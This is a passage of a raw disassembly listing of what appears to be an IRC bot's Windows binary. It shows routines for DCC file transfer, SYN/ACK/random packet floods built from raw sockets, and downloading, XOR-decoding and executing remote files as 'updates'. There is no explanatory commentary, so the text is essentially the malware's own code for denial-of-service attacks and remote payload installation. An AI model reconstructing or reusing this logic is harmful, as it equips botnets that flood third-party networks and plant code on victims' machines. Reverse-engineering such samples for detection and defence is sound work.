"[DCC]: Error opening socket." loc_404AD2: ; CODE XREF: sub_404A02+88j ; sub_404A02+B0j lea eax, [ebp+var_4C4] push eax call sub_418D70 pop ecx pop ecx jmp loc_404BDF ; --------------------------------------------------------------------------- loc_404AE5: ; CODE XREF: sub_404A02+C9j mov esi, 1000h loc_404AEA: ; CODE XREF: sub_404A02+14Ej push esi lea eax, [ebp+var_14C4] push ebx push eax call sub_4189A0 add esp, 0Ch lea eax, [ebp+var_14C4] push ebx push esi push eax push [ebp+arg_0] call dword_44B6D8 ; recv mov edi, eax cmp edi, ebx jz loc_404BB1 cmp edi, 0FFFFFFFFh jz short loc_404B52 push [ebp+var_4] lea eax, [ebp+var_14C4] push edi push 1 push eax call sub_41A090 add [ebp+var_8], edi add esp, 10h push [ebp+var_8] call dword_44B6BC ; htonl mov [ebp+var_C], eax push ebx lea eax, [ebp+var_C] push 4 push eax push [ebp+arg_0] call dword_44B710 ; send jmp short loc_404AEA ; --------------------------------------------------------------------------- loc_404B52: ; CODE XREF: sub_404A02+118j lea eax, [ebp+var_4C4] push offset aDccSocketErr_1 ; "[DCC]: Socket error." push eax call sub_418D70 push ebx lea eax, [ebp+var_4C4] push [ebp+var_18] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_1C0] call sub_40842D lea eax, [ebp+var_4C4] push eax call sub_4035E1 push [ebp+var_4] call sub_419740 add esp, 24h push [ebp+arg_0] call dword_44B758 ; closesocket push [ebp+var_1C] call sub_416507 pop ecx push 1 call ds:dword_4942FC loc_404BB1: ; CODE XREF: sub_404A02+10Fj mov eax, [ebp+var_8] cdq push edx push eax call sub_4055AD push eax lea eax, [ebp+var_1A4] push eax lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_4C4] push offset aDccTransferC_0 ; "[DCC]: Transfer complete from IP: %s, F"... push eax call sub_418D70 add esp, 1Ch loc_404BDF: ; CODE XREF: sub_404A02+DEj cmp [ebp+var_14], ebx jnz short loc_404C04 push ebx lea eax, [ebp+var_4C4] push [ebp+var_18] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_1C0] call sub_40842D add esp, 14h loc_404C04: ; CODE XREF: sub_404A02+1E0j lea eax, [ebp+var_4C4] push eax call sub_4035E1 cmp [ebp+var_4], ebx pop ecx jz short loc_404C1F push [ebp+var_4] call sub_419740 pop ecx loc_404C1F: ; CODE XREF: sub_404A02+212j cmp [ebp+arg_0], ebx jbe short loc_404C2D push [ebp+arg_0] call dword_44B758 ; closesocket loc_404C2D: ; CODE XREF: sub_404A02+220j push [ebp+var_1C] call sub_416507 pop ecx push ebx call ds:dword_4942FC sub_404A02 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404C3D proc near ; DATA XREF: sub_40C50A+3A1Co var_494 = byte ptr -494h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = byte ptr -28Ch var_20C = byte ptr -20Ch var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 494h mov eax, [ebp+arg_0] push esi push edi mov ecx, 0A5h mov esi, eax lea edi, [ebp+var_294] rep movsd mov dword ptr [eax+290h], 1 call ds:dword_494308 push eax call sub_418FF0 lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_20C] push eax lea eax, [ebp+var_28C] push eax call sub_405026 push eax lea eax, [ebp+var_494] push offset aDdosDoneWithFl ; "[DDoS]: Done with flood (%iKB/sec)." push eax call sub_418D70 xor esi, esi add esp, 20h cmp [ebp+var_8], esi jnz short loc_404CCD push esi lea eax, [ebp+var_494] push [ebp+var_C] push eax lea eax, [ebp+var_10C] push eax push [ebp+var_294] call sub_40842D add esp, 14h loc_404CCD: ; CODE XREF: sub_404C3D+6Ej lea eax, [ebp+var_494] push eax call sub_4035E1 push [ebp+var_290] call sub_416507 pop ecx pop ecx push esi call ds:dword_4942FC pop edi pop esi sub_404C3D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404CEF proc near ; CODE XREF: sub_405026+40p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_44B638 ; WSAStartup test eax, eax jz short loc_404D2F xor eax, eax jmp loc_405022 ; --------------------------------------------------------------------------- loc_404D2F: ; CODE XREF: sub_404CEF+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_44B764 ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_40501A push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_44B6A0 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_405010 push [ebp+arg_C] mov [ebp+var_58], 2 call dword_44B6C0 ; htons mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_44B6C0 ; htons push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_44B6C0 ; htons mov [ebp+var_12], ax call sub_419000 movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_44B6C0 ; htons push 12345678h mov [ebp+var_14], ax call dword_44B6BC ; htonl push offset aDdos_syn ; "ddos.syn" mov [ebp+var_10], eax push [ebp+arg_8] call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_404DFF mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_404E53 ; --------------------------------------------------------------------------- loc_404DFF: ; CODE XREF: sub_404CEF+105j push offset aDdos_ack ; "ddos.ack" push [ebp+arg_8] call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_404E1B mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_404E53 ; --------------------------------------------------------------------------- loc_404E1B: ; CODE XREF: sub_404CEF+121j push offset aDdos_random ; "ddos.random" push [ebp+arg_8] call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_404E53 call sub_419000 push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_419000 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_404E53: ; CODE XREF: sub_404CEF+10Ej ; sub_404CEF+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_44B6C0 ; htons mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx call ds:dword_494328 lea eax, [ebp+var_1C] push eax call ds:dword_494324 push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_41A2F0 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_404EA1: ; CODE XREF: sub_404CEF+2E2j ; sub_404CEF+2F0j mov [ebp+var_4], bx call sub_419000 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_44B6C0 ; htons mov [ebp+var_14], ax call sub_419000 mov edi, eax shl edi, 10h call sub_419000 or edi, eax push edi call dword_44B6C0 ; htons movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_44B6BC ; htonl mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_44B6C0 ; htons mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_418A00 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call sub_418A00 lea eax, [ebp+var_B4] push 34h push eax call sub_40B045 mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_418A00 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call sub_418A00 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_4189A0 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40B045 mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_418A00 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_44B724 ; sendto cmp eax, 0FFFFFFFFh jz short loc_404FE4 add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax call ds:dword_494324 mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_40500D jl loc_404EA1 mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_40500D jmp loc_404EA1 ; --------------------------------------------------------------------------- loc_404FE4: ; CODE XREF: sub_404CEF+2CBj call dword_44B654 ; WSAGetLastError push eax lea eax, [ebp+var_F4] push offset aDdosSendErrorD ; "[DDoS]: Send error: <%d>." push eax call sub_418D70 lea eax, [ebp+var_F4] push eax call sub_4035E1 add esp, 10h jmp short loc_405010 ; --------------------------------------------------------------------------- loc_40500D: ; CODE XREF: sub_404CEF+2E0j ; sub_404CEF+2EEj mov ebx, [ebp+arg_8] loc_405010: ; CODE XREF: sub_404CEF+78j ; sub_404CEF+31Cj push [ebp+var_20] call dword_44B758 ; closesocket pop esi loc_40501A: ; CODE XREF: sub_404CEF+5Bj call dword_44B620 ; WSACleanup mov eax, ebx loc_405022: ; CODE XREF: sub_404CEF+3Bj pop edi pop ebx leave retn sub_404CEF endp ; =============== S U B R O U T I N E ======================================= sub_405026 proc near ; CODE XREF: sub_404C3D+4Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40AED0 push [esp+10h+arg_4] mov esi, eax call sub_4195F0 push [esp+14h+arg_C] mov ebx, eax call sub_4195F0 mov edi, eax call sub_419000 cdq mov ecx, 200h push edi idiv ecx push ebx push [esp+20h+arg_8] lea eax, [edx+esi+100h] push eax push esi call sub_404CEF add esp, 20h test eax, eax jnz short loc_405075 push 1 pop eax loc_405075: ; CODE XREF: sub_405026+4Aj cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_405026 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405084 proc near ; DATA XREF: sub_40C50A+3825o ; sub_40C50A+3F67o var_590 = qword ptr -590h var_584 = qword ptr -584h var_510 = byte ptr -510h var_310 = dword ptr -310h var_304 = dword ptr -304h var_2E4 = dword ptr -2E4h var_2E0 = word ptr -2E0h var_2CC = dword ptr -2CCh var_2C8 = byte ptr -2C8h var_248 = byte ptr -248h var_148 = byte ptr -148h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp+var_2CC] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp+var_248] push esi push eax push dword_44B670 call dword_44B5D0 ; InternetOpenUrlA cmp eax, esi mov [ebp+var_18], eax jz loc_405510 push esi push esi push 2 push esi push esi lea eax, [ebp+var_148] push 40000000h push eax call ds:dword_4942EC cmp eax, edi mov [ebp+var_20], eax jnb short loc_40514B lea eax, [ebp+var_148] push eax lea eax, [ebp+var_510] push offset aDownloadCouldn ; "[DOWNLOAD]: Couldn't open file: %s." push eax call sub_418D70 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_40512E push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40842D add esp, 14h loc_40512E: ; CODE XREF: sub_405084+88j lea eax, [ebp+var_510] push eax call sub_4035E1 push [ebp+var_48] call sub_416507 pop ecx pop ecx push esi call ds:dword_4942FC loc_40514B: ; CODE XREF: sub_405084+68j xor edi, edi call ds:dword_494308 mov ebx, 7D000h mov dword ptr [ebp+var_8+4], eax push ebx call sub_416A10 pop ecx mov [ebp+var_1C], eax loc_405165: ; CODE XREF: sub_405084+1B4j push 200h lea eax, [ebp+var_510] push esi push eax call sub_4189A0 add esp, 0Ch lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_510] push 200h push eax push [ebp+var_18] call dword_44B5D8 ; InternetReadFile cmp [ebp+var_34], esi jz short loc_4051A9 push [ebp+arg_0] lea eax, [ebp+var_510] push eax call sub_405576 pop ecx pop ecx loc_4051A9: ; CODE XREF: sub_405084+112j lea eax, [ebp+var_24] push esi push eax lea eax, [ebp+var_510] push [ebp+arg_0] push eax push [ebp+var_20] call ds:dword_4942E4 cmp edi, ebx jnb short loc_4051E7 mov eax, ebx sub eax, edi cmp eax, [ebp+arg_0] jbe short loc_4051D1 mov eax, [ebp+arg_0] loc_4051D1: ; CODE XREF: sub_405084+148j push eax lea eax, [ebp+var_510] push eax mov eax, [ebp+var_1C] add eax, edi push eax call sub_418A00 add esp, 0Ch loc_4051E7: ; CODE XREF: sub_405084+13Fj add edi, [ebp+arg_0] cmp [ebp+var_3C], esi jz short loc_4051F4 cmp edi, [ebp+var_3C] ja short loc_40523E loc_4051F4: ; CODE XREF: sub_405084+169j cmp [ebp+var_44], 1 mov eax, edi jz short loc_40520E shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax push offset aDownloadFileDo ; "[DOWNLOAD]: File download: %s (%dKB tra"... jmp short loc_40521E ; --------------------------------------------------------------------------- loc_40520E: ; CODE XREF: sub_405084+176j shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax push offset aDownloadUpdate ; "[DOWNLOAD]: Update: %s (%dKB transferre"... loc_40521E: ; CODE XREF: sub_405084+188j mov eax, [ebp+var_48] imul eax, 234h add eax, offset dword_44CE58 push eax call sub_418D70 add esp, 10h cmp [ebp+arg_0], esi ja loc_405165 loc_40523E: ; CODE XREF: sub_405084+16Ej cmp [ebp+var_3C], esi mov [ebp+var_14], 1 jz short loc_405293 cmp edi, [ebp+var_3C] jz short loc_405293 push [ebp+var_3C] lea eax, [ebp+var_510] mov [ebp+var_14], esi push edi push offset aDownloadFilesi ; "[DOWNLOAD]: Filesize is incorrect: (%d "... push eax call sub_418D70 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40842D lea eax, [ebp+var_510] push eax call sub_4035E1 add esp, 28h loc_405293: ; CODE XREF: sub_405084+1C4j ; sub_405084+1C9j call ds:dword_494308 sub eax, dword ptr [ebp+var_8+4] xor edx, edx mov ecx, 3E8h push [ebp+var_20] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax call ds:dword_4942E0 push [ebp+var_1C] call sub_417480 cmp [ebp+var_38], esi pop ecx jz short loc_40531D lea eax, [ebp+var_148] push eax call sub_4041AA cmp eax, [ebp+var_38] pop ecx jz short loc_40531D push [ebp+var_38] mov [ebp+var_14], esi push eax lea eax, [ebp+var_510] push offset aDownloadCrcFai ; "[DOWNLOAD]: CRC Failed (%d != %d)." push eax call sub_418D70 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40842D lea eax, [ebp+var_510] push eax call sub_4035E1 add esp, 28h loc_40531D: ; CODE XREF: sub_405084+241j ; sub_405084+253j cmp [ebp+var_14], esi jz loc_40555D cmp [ebp+var_44], 1 jz loc_405418 mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] push ecx push ecx mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul ds:dbl_432420 lea eax, [ebp+var_148] fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_510] fmul ds:dbl_432420 fstp [esp+590h+var_590] push offset aDownloadDownlo ; "[DOWNLOAD]: Downloaded %.1f KB to %s @ "... push eax call sub_418D70 add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_405398 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40842D add esp, 14h loc_405398: ; CODE XREF: sub_405084+2F2j lea eax, [ebp+var_510] push eax call sub_4035E1 cmp [ebp+var_40], 1 pop ecx jnz loc_40555D push 5 push esi lea eax, [ebp+var_148] push esi push eax push offset aOpen ; "open" push esi call dword_44B634 cmp [ebp+var_30], esi jnz loc_40555D lea eax, [ebp+var_148] push eax lea eax, [ebp+var_510] push offset aDownloadOpened ; "[DOWNLOAD]: Opened: %s." push eax call sub_418D70 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40842D lea eax, [ebp+var_510] push eax call sub_4035E1 add esp, 24h jmp loc_40555D ; --------------------------------------------------------------------------- loc_405418: ; CODE XREF: sub_405084+2A6j mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] push ecx push ecx mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul ds:dbl_432420 lea eax, [ebp+var_148] fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_510] fmul ds:dbl_432420 fstp [esp+590h+var_590] push offset aDownloadDown_0 ; "[DOWNLOAD]: Downloaded %.1fKB to %s @ %"... push eax call sub_418D70 add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_405480 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40842D add esp, 14h loc_405480: ; CODE XREF: sub_405084+3DAj lea eax, [ebp+var_510] push eax call sub_4035E1 push 10h lea eax, [ebp+var_10] push esi push eax call sub_4189A0 push 44h lea eax, [ebp+var_310] pop edi push edi push esi push eax call sub_4189A0 add esp, 1Ch mov [ebp+var_310], edi lea eax, [ebp+var_10] mov [ebp+var_304], offset dword_449CE0 push 1 mov [ebp+var_2E0], si pop edi push eax lea eax, [ebp+var_310] push eax push esi push esi push 28h push esi push esi lea eax, [ebp+var_148] push esi push eax push esi mov [ebp+var_2E4], edi call ds:dword_494330 cmp eax, edi jnz short loc_405502 call dword_44B620 ; WSACleanup call sub_409D2E push esi call ds:dword_49432C loc_405502: ; CODE XREF: sub_405084+46Aj lea eax, [ebp+var_148] push eax push offset aDownloadUpda_0 ; "[DOWNLOAD]: Update failed: Error execut"... jmp short loc_40551C ; --------------------------------------------------------------------------- loc_405510: ; CODE XREF: sub_405084+45j lea eax, [ebp+var_248] push eax push offset aDownloadBadUrl ; "[DOWNLOAD]: Bad URL, or DNS Error: %s." loc_40551C: ; CODE XREF: sub_405084+48Aj lea eax, [ebp+var_510] push eax call sub_418D70 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_405550 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40842D add esp, 14h loc_405550: ; CODE XREF: sub_405084+4AAj lea eax, [ebp+var_510] push eax call sub_4035E1 pop ecx loc_40555D: ; CODE XREF: sub_405084+29Cj ; sub_405084+325j ... push [ebp+var_18] call dword_44B6F4 ; InternetCloseHandle push [ebp+var_48] call sub_416507 pop ecx push esi call ds:dword_4942FC sub_405084 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_405576 proc near ; CODE XREF: sub_405084+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_405592 loc_405582: ; CODE XREF: sub_405576+1Aj mov dl, byte_43E1B8 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_405582 locret_405592: ; CODE XREF: sub_405576+Aj retn sub_405576 endp ; =============== S U B R O U T I N E ======================================= sub_405593 proc near ; CODE XREF: sub_40C50A+2A6Ap ; sub_40C50A+2BC9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_41A3E0 pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_405593 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4055AD proc near ; CODE XREF: sub_40465D+2DBp ; sub_404A02+1B5p ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_449CE4 push 0 push edi call sub_4189A0 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_4055D2: ; CODE XREF: sub_4055AD+5Bj ; sub_4055AD+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_41A4B0 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_41A440 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_405610 inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_4055D2 mov byte ptr [esi], 2Ch inc esi jmp short loc_4055D2 ; --------------------------------------------------------------------------- loc_405610: ; CODE XREF: sub_4055AD+4Bj dec esi mov eax, edi loc_405613: ; CODE XREF: sub_4055AD+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_405622 mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_405613 ; --------------------------------------------------------------------------- loc_405622: ; CODE XREF: sub_4055AD+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_4055AD endp ; =============== S U B R O U T I N E ======================================= sub_40562C proc near ; CODE XREF: sub_4057E1+51p ; sub_4057E1+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_44B720 ; GetDriveTypeA sub eax, 0 jz short loc_40566F dec eax jz short loc_405669 dec eax dec eax jz short loc_405663 dec eax jz short loc_40565D dec eax jz short loc_405657 dec eax jz short loc_405651 mov eax, offset a? ; "?" retn ; --------------------------------------------------------------------------- loc_405651: ; CODE XREF: sub_40562C+1Dj mov eax, offset aRam ; "RAM" retn ; --------------------------------------------------------------------------- loc_405657: ; CODE XREF: sub_40562C+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_40565D: ; CODE XREF: sub_40562C+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_405663: ; CODE XREF: sub_40562C+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_405669: ; CODE XREF: sub_40562C+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_40566F: ; CODE XREF: sub_40562C+Dj mov eax, offset aUnknown ; "Unknown" retn sub_40562C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405675 proc near ; CODE XREF: sub_4056BD+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_44B5BC test eax, eax jz short loc_4056AA lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax ; GetDiskFreeSpaceExA loc_4056AA: ; CODE XREF: sub_405675+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_405675 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4056BD proc near ; CODE XREF: sub_4057E1+17p ; sub_415430+1F3p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_405675 pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_405797 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_405797 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_405797 mov edi, 400h push 0 push edi push [ebp+var_14] push [ebp+var_18] call sub_41A530 push edx push eax call sub_4055AD push eax mov esi, 80h push offset aSkb ; "%sKB" lea eax, [ebp+var_198] push esi push eax call sub_418EF0 add esp, 18h push 0 push edi push [ebp+var_C] push [ebp+var_10] call sub_41A530 push edx push eax call sub_4055AD push eax push offset aSkb_0 ; "%sKB" lea eax, [ebp+var_118] push esi push eax call sub_418EF0 add esp, 18h push 0 push edi push [ebp+var_4] push [ebp+var_8] call sub_41A530 push edx push eax call sub_4055AD push eax push offset aSkb_1 ; "%sKB" lea eax, [ebp+var_98] push esi push eax call sub_418EF0 jmp short loc_4057CA ; --------------------------------------------------------------------------- loc_405797: ; CODE XREF: sub_4056BD+2Cj ; sub_4056BD+3Bj ... lea eax, [ebp+var_198] push offset aFailed ; "failed" push eax call sub_418D70 lea eax, [ebp+var_118] push offset aFailed_0 ; "failed" push eax call sub_418D70 lea eax, [ebp+var_98] push offset aFailed_1 ; "failed" push eax call sub_418D70 loc_4057CA: ; CODE XREF: sub_4056BD+D8j mov eax, [ebp+arg_0] add esp, 18h lea esi, [ebp+var_198] mov edi, eax push 60h pop ecx rep movsd pop edi pop esi leave retn sub_4056BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4057E1 proc near ; CODE XREF: sub_4058B3+17p ; sub_4058B3+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_4056BD push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed_2 ; "failed" rep movsd push eax call sub_419360 add esp, 10h test eax, eax jnz short loc_405854 push ebx push ebx call sub_40562C pop ecx push eax push offset aMainSDriveSFai ; "[MAIN]: %s Drive (%s): Failed to stat, "... lea eax, [ebp+var_500] push 200h push eax call sub_418EF0 add esp, 14h jmp short loc_405888 ; --------------------------------------------------------------------------- loc_405854: ; CODE XREF: sub_4057E1+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_40562C pop ecx push eax push offset aMainSDriveSSTo ; "[MAIN]: %s Drive (%s): %s total, %s fre"... lea eax, [ebp+var_500] push 200h push eax call sub_418EF0 add esp, 20h loc_405888: ; CODE XREF: sub_4057E1+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40842D lea eax, [ebp+var_500] push eax call sub_4035E1 add esp, 18h pop edi pop esi pop ebx leave 